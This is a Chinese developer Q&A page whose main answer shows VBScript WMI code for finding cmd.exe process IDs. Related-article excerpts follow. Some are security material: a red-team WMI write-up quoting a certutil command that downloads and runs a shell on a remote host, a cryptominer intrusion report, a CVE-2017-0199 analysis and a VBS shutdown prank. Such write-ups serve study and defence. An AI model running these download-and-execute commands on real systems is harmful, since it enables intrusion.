首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在vbscript中,如何获取运行vb脚本的cmd.exe的进程id?

在vbscript中,可以使用WMI(Windows Management Instrumentation)来获取运行vb脚本的cmd.exe的进程id。具体步骤如下:

  1. 创建一个WMI对象,用于执行WMI查询:Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
  2. 构造WMI查询语句,通过Win32_Process类来获取cmd.exe进程的信息:strQuery = "SELECT ProcessId FROM Win32_Process WHERE Name = 'cmd.exe'"
  3. 执行WMI查询,并获取结果集:Set colProcesses = objWMIService.ExecQuery(strQuery)
  4. 遍历结果集,获取cmd.exe进程的进程id:For Each objProcess in colProcesses strProcessId = objProcess.ProcessId ' 可以在这里进行进一步处理,如输出、存储等操作 Next

完整的代码示例:

代码语言:vbscript
复制
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
strQuery = "SELECT ProcessId FROM Win32_Process WHERE Name = 'cmd.exe'"
Set colProcesses = objWMIService.ExecQuery(strQuery)

For Each objProcess in colProcesses
    strProcessId = objProcess.ProcessId
    ' 可以在这里进行进一步处理,如输出、存储等操作
Next

请注意,以上代码仅适用于Windows操作系统。在执行WMI查询时,需要确保脚本以管理员权限运行,否则可能无法获取到进程id。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

如何在 React 中获取点击元素的 ID?

在 React 应用中,我们经常需要根据用户的点击事件来执行相应的操作。在某些情况下,我们需要获取用户点击元素的唯一标识符(ID),以便进行进一步的处理。...本文将详细介绍如何在 React 中获取点击元素的 ID,并提供示例代码帮助你理解和应用这个功能。使用事件处理函数在 React 中,我们可以使用事件处理函数来获取点击元素的信息。...使用 ref除了事件处理函数,我们还可以使用 ref 来获取点击元素的信息。通过创建一个引用(ref),可以在组件中引用具体的 DOM 元素,并访问其属性和方法。...在事件处理函数 handleClick 中,我们可以通过 btnRef.current.id 来获取点击元素的 ID。当用户点击按钮时,handleClick 函数会打印出点击元素的 ID。...结论本文详细介绍了在 React 中获取点击元素的 ID 的两种方法:使用事件处理函数和使用 ref。

3.5K30
  • python 从subprocess运行的子进程中实时获取输出

    起因是这样的,c++程序开发后 功能号和指令,校验需要人工去看对照二进制代码,量大还费力, 于是打算利用python 去调用 c++程序去校验指令, 首先要做的就是用python 获取c++程序的...printf() 或cout 的输出; 环境linux python 3.8.x 以下代码实现,获取子程序输出 command='....linux shell指令,如果要用shell 指令如ls 要将false 变成true, 通过指定stderr=subprocess.STDOUT,将子程序的标准错误输出重定向到了标准输出,以使我们可以直接从标准输出中同时获取标准输出和标准错误的信息...p.poll() 返回子进程的返回值,如果为None 表示 c++子进程还未结束. p.stdout.readline() 从 c++的标准输出里获取一行....参考文章1 python中的subprocess.Popen()使用 参考文章 2 python 从subprocess运行的子进程中实时获取输出

    10.5K10

    如何在 Python 中终止 Windows 上运行的进程?

    当深入研究Windows操作系统上的Python开发领域时,无疑会出现需要终止正在运行的进程的情况。这种终止背后的动机可能涵盖多种情况,包括无响应、过度资源消耗或仅仅是停止脚本执行的必要性。...在这篇综合性的文章中,我们将探讨各种方法来完成使用 Python 终止 Windows 上运行的进程的任务。...示例:利用“操作系统”模块 在随后的示例中,我们将使用“os”模块来终止古老的记事本应用程序: import os # The process name to be brought to an abrupt...我们可以利用此模块来执行“taskkill”命令并有效地终止正在运行的进程。...shell=True' 参数在 Windows 命令外壳中执行命令时变得不可或缺。 结论 在这次深入的探索中,我们阐明了使用 Python 终止 Windows 上运行的进程的三种不同方法。

    57630

    如何判断进程是在哪个容器中运行的?

    在某些情况下,可能在宿主机上存在“看得到却摸不到”的进程;有的时候容器太多,想知道进程具体是哪个容器运行的?...我们来尝试下: 首先在容器中的test目录下运行sleep 10000 在宿主机ps能看到对应的进程 看对应的proc下的cwd,也确实和容器中的路径一样,在/test目录下,但是宿主机实际上并没有这个路径...大概率可以判断这个进程不是在宿主机上的,可以通过如下这个命令判断命令是否是在容器中执行的: ps -e -o pid,cmd,comm,cgroup 可以看到pid为29656的cgroup是在docker...里,且docker-xxxx,xxxx就是docker的id,也就是: bf85501b3084601ba76b8cb303917134d58b5e7783c14c1636ff1c56a3d83c1f...或者cat对应的进程cgroup也可以: cat /proc/xxxx/cgroup 和我们执行的sleep命令的容器一致: 因此可以得出结论,pid为29656的进程是在 bf85501b3084601ba76b8cb303917134d58b5e7783c14c1636ff1c56a3d83c1f

    5.3K30

    在Mybatis的collection标签中获取以,分隔的id字符串

    有的时候我们把一个表的id以逗号(,)分隔的字符串形式放在另一个表里表示一种包含关系,当我们要查询出我们所需要的全部内容时,会在resultMap标签中使用collection标签来获取这样的一个集合。...这是一个门店表,service_ids是一家门店包含的所有的服务id Java实体类为 /** * 服务商门店 */ @NoArgsConstructor @Data public class Store...sequence,只有一个主键字段seq,里面放入尽可能多的从1开始的数字 ?...id in (#{service_ids})是取不出我们所希望的集合的,因为#{service_ids}只是一个字符串,翻译过来的语句例为id in ('1,2,3')之类的语句,所以需要将它解析成id...最终在controller中查出来的结果如下 { "code": 200, "data": [ { "address": { "distance":

    3.8K50

    如何在Linux中查看所有正在运行的进程

    它能显示当前运行中进程的相关信息,包括进程的PID。Linux和UNIX都支持ps命令,显示所有运行中进程的相关信息。ps命令能提供一份当前进程的快照。如果你想状态可以自动刷新,可以使用top命令。...ps命令 输入下面的ps命令,显示所有运行中的进程: # ps aux | less 其中, -A:显示所有进程 a:显示终端中包括其它用户的所有进程 x:显示无控制终端的进程 任务:查看系统中的每个进程...# ps -A # ps -e 任务:查看非root运行的进程 # ps -U root -u root -N 任务:查看用户vivek运行的进程 # ps -u vivek top命令 top命令提供了运行中系统的动态实时视图...在命令提示行中输入top: # top 输出: 图1:top命令:显示Linux任务 按q退出,按h进入帮助。 显示进程的树状图 pstree以树状显示正在运行的进程。树的根节点为pid或init。...pgrep能查找当前正在运行的进程并列出符合条件的进程ID。例如显示firefox的进程ID: $ pgrep firefox 下面命令将显示进程名为sshd、所有者为root的进程。

    62K71

    【Android 逆向】修改运行中的 Android 进程的内存数据 ( Android 命令行中获取要调试的应用进程的 PID | 进程注入调试进程内存的 so 库 )

    文章目录 一、Android 命令行中获取要调试的应用进程的 PID 二、进程注入调试进程内存的 so 库 一、Android 命令行中获取要调试的应用进程的 PID ---- 前置博客 【Android...逆向】修改运行中的 Android 进程的内存数据 ( 运行环境搭建 Android 模拟器安装 | 拷贝 Android 平台可执行文件和动态库到 /data/system ) 先安装 Android...模拟器 , 雷电模拟器 3.75 版本 ; 在模拟器中安装要调试的应用后 , 直接运行 ; 执行 dumpsys activity top|grep pid 命令 , 查看当前正在运行的应用的进程号...PID 为 2328 ; 二、进程注入调试进程内存的 so 库 ---- 在 【Android 逆向】修改运行中的 Android 进程的内存数据 ( 运行环境搭建 Android 模拟器安装 | 拷贝...; 在/data/system/debug/ 目录下 , 执行 .

    73610

    在centos操作系统中查看所有正在运行的进程

    在centos操作系统中查看所有正在运行的进程,你可以使用ps命令。它能显示当前运行中进程的相关信息,包括进程的PID。Linux和UNIX都支持ps命令,显示所有运行中进程的相关信息。...ps命令 输入下面的ps命令,显示所有运行中的进程: # ps aux | less 其中, -A:显示所有进程 a:显示终端中包括其它用户的所有进程 x:显示无控制终端的进程 任务:查看系统中的每个进程...# ps -A # ps -e 任务:查看非root运行的进程 # ps -U root -u root -N 任务:查看用户vivek运行的进程 # ps -u vivek top命令 top命令提供了运行中系统的动态实时视图...在命令提示行中输入top: # top 输出: 图1:top命令:显示Linux任务 按q退出,按h进入帮助。 显示进程的树状图 pstree以树状显示正在运行的进程。树的根节点为pid或init。...pgrep能查找当前正在运行的进程并列出符合条件的进程ID。例如显示firefox的进程ID: $ pgrep firefox 下面命令将显示进程名为sshd、所有者为root的进程。

    4.3K00

    程序在计算机中如何运行的

    一、程序编译的过程 ? 二、程序加载进CPU的过程 ? 三、CPU的组成 累加寄存器(AC) :主要进行加法运算。 标志寄存器(PSW) :记录状态,做逻辑运算。...程序计数器(PC) :是用于存放下一条指令所在单元的地址的地方。 基质寄存器(BX) :储存当前数据内存开始的位置。 变址寄存器 :储存基质寄存器的相对位置。...通用寄存器(GPRs):支持有所的用法。 指令寄存器(IR) :CPU专用,储存指令。 堆栈寄存器(SP) :记录堆栈的起始位置。 ? CPU是由四大部分所构成的:寄存器、控制器、运算器、时钟。...寄存器 CPU内部的内存,程序加载进CPU内部的寄存器中从而被用来解释和运行。 控制器 计算机的指挥中心,负责决定执行程序的顺序,给出执行指令时机器各部件需要的操作控制命令。...运算器 计算机中执行各种算术和逻辑运算操作的部件。 时钟 它是处理操作的最基本的单位,影响着指令的取出和执行时间。

    1.5K20

    VBS代码–很恶心的整人效果

    其语言类似Visual Basic(VB),VBS是微软的WSH脚本的一种,WSH是是Windows脚本宿主,是一个脚本解释器,支持vbs,js,wsh三种格式的脚本。...二:程序实现的预览效果 由于这个脚本涉及到关机操作,所以安全管家会提醒操作,另外这个脚本还可以打开一个网址,后面的操作没有继续操作,大家可以尝试一下完全进行的过程,那就继续看如何实现吧。。。...尽管如此, 我还是建议你去下载一个专业的文本编辑器, 因为这些工具可以提供 “语法高亮”等功能, 更加方便开发, OK, 我们先来写一个VBScript程序来实现上述的效果图; 1.首先我们需要一个文本编辑程序...点击开始菜单,在运行对话框下输入notepad,打开记事本程序。 2. 我们来开始编写第一个程序,我们就以上述程序为例来学习vbs编程。...: (其中的URL地址可以随意写入) 3.然后点击文件菜单,在另存为对话框下面输入后缀为.vbs的文件名就可以。

    2K40

    SELECT XMRig FROM SQLServer

    ,我们并没有观察到挖矿以外的其他活动 初始访问 最初的访问是通过暴力攻击进行的,其中威胁参与者主要针对系统管理员(SA)帐户,在入侵过程中我们可以看到SQL Server Event ID 18456...,一旦运行该脚本将设置并执行XMRig CoinMiner,在执行过程中,密码579562847作为参数提供 cscript.exe /b /e:VBScript.Encode C:\Windows\...解码VBE文件 该脚本有几个功能,一是控制主机上的矿工软件,二是通过随机化配置参数,例如用户代理字符串: 命令交互通过WMI完成,用于进程发现: 进程创建: 在代码中我们观察到进一步混淆敏感属性值的尝试...,他们使用certutil将其转换为bigfile.txt,我们认为这是NetworkServiceExploit.exe的变体,如下所示 在这次入侵中,使用以下命令运行批处理文件 "cmd.exe"...\bigfile.txt "cmd.exe" /c DEL %USERPROFILE%\AppData\bigfile.exe 凭证获取 在初始访问期间凭据是通过对暴露的MSSQL服务器的暴力攻击获得的

    73220

    黑客(红队)攻防中内网环境下WMI的利用

    通过这个模型,我们可以方便地从远程计算机获取管理数据,也就是说,你可以在自己的电脑上查看和管理其他电脑的信息。...此外,WMI还允许我们通过编程和脚本语言(比如VBScript和JScript)来编写管理任务的脚本和应用程序。...计算机的用户并且创建一个进程运行cmd.exe程序.而下一步就是将shell下载到目标计算机,这一步中我们需要在新的进程中下载certutil.exe.../c "certutil.exe -urlcache -f -split $url"}Kali端成功回显并且在目标机中也发现test.exe文件.值得注意的是这段命令中的test.exe&&test.exe...中的&&叫做谓词开关,我们可以在这里添加运行其它命令,例如写成:/test.exe /nobreak && test.exe/nobreak 是表示新进程完成后不要中断。

    25400

    Word漏洞CVE-2017-0199剖析,微软的补丁你装了吗?

    当用户打开文档之后,winword.exe会向远程服务器发送一个HTTP请求,并获取一个恶意HTA文件。 3. 服务器返回的这个文件是一个伪造的RTF文件,其中嵌入了恶意脚本。 4....在FireEye所发现的两个恶意文档中,嵌入在其中的恶意脚本首先会终止winword.exe进程,然后下载额外的Payload,最后加载恶意代码。...原始的winword.exe进程将会被终止,恶意VB脚本将会隐藏如下图所示的用户弹窗: 文件1-(MD5:5ebfd13250dd0408e3de594e419f9e01) FireEye所识别出的第一个恶意文档主要有三个操作阶段...接下来,Mshta.exe将会负责执行嵌入在恶意HTA文档中的脚本代码。下图显示的是第一阶段所下载的VB脚本代码(已经过凡混淆处理): 上图所示的脚本代码会执行下列恶意行为: 1....概括总结 FireEye在Microsoft Word中发现了一个漏洞(CVE-2017-0199),这个漏洞将允许攻击者远程执行恶意VBScript脚本。

    966100

    程序在计算机中是如何运行起来的(一)

    来讲讲程序在计算机中是如何运行起来的计算机系统概述计算机系统的组成硬件与软件的关系操作系统的基本功能程序的编写程序设计语言概述从高级语言到机器码的转化编译器与解释器的作用程序的存储与加载存储器的层次结构程序的存储方式可执行文件的格式程序加载器的作用程序的执行...为了理解程序如何运行,首先需要了解计算机系统的基本组成、硬件与软件之间的关系,以及操作系统在其中扮演的关键角色。...在计算机系统中,程序的存储与加载是一个非常关键的环节,它不仅决定了程序如何被存储在不同层次的存储器中,还涉及到程序从存储设备被加载到内存中以供CPU执行的整个过程。...程序计数器更新:最后,CPU更新程序计数器,使其指向下一条指令的地址,准备进行下一次指令周期。六、程序的调度与运行时管理在多任务操作系统中,操作系统还负责调度程序的执行,并管理其运行时环境。...操作系统负责清理终止进程的状态,并将资源重新分配给其他进程。进程的调度:在多任务系统中,操作系统通过调度算法决定哪个进程在何时运行。

    2.4K31
    领券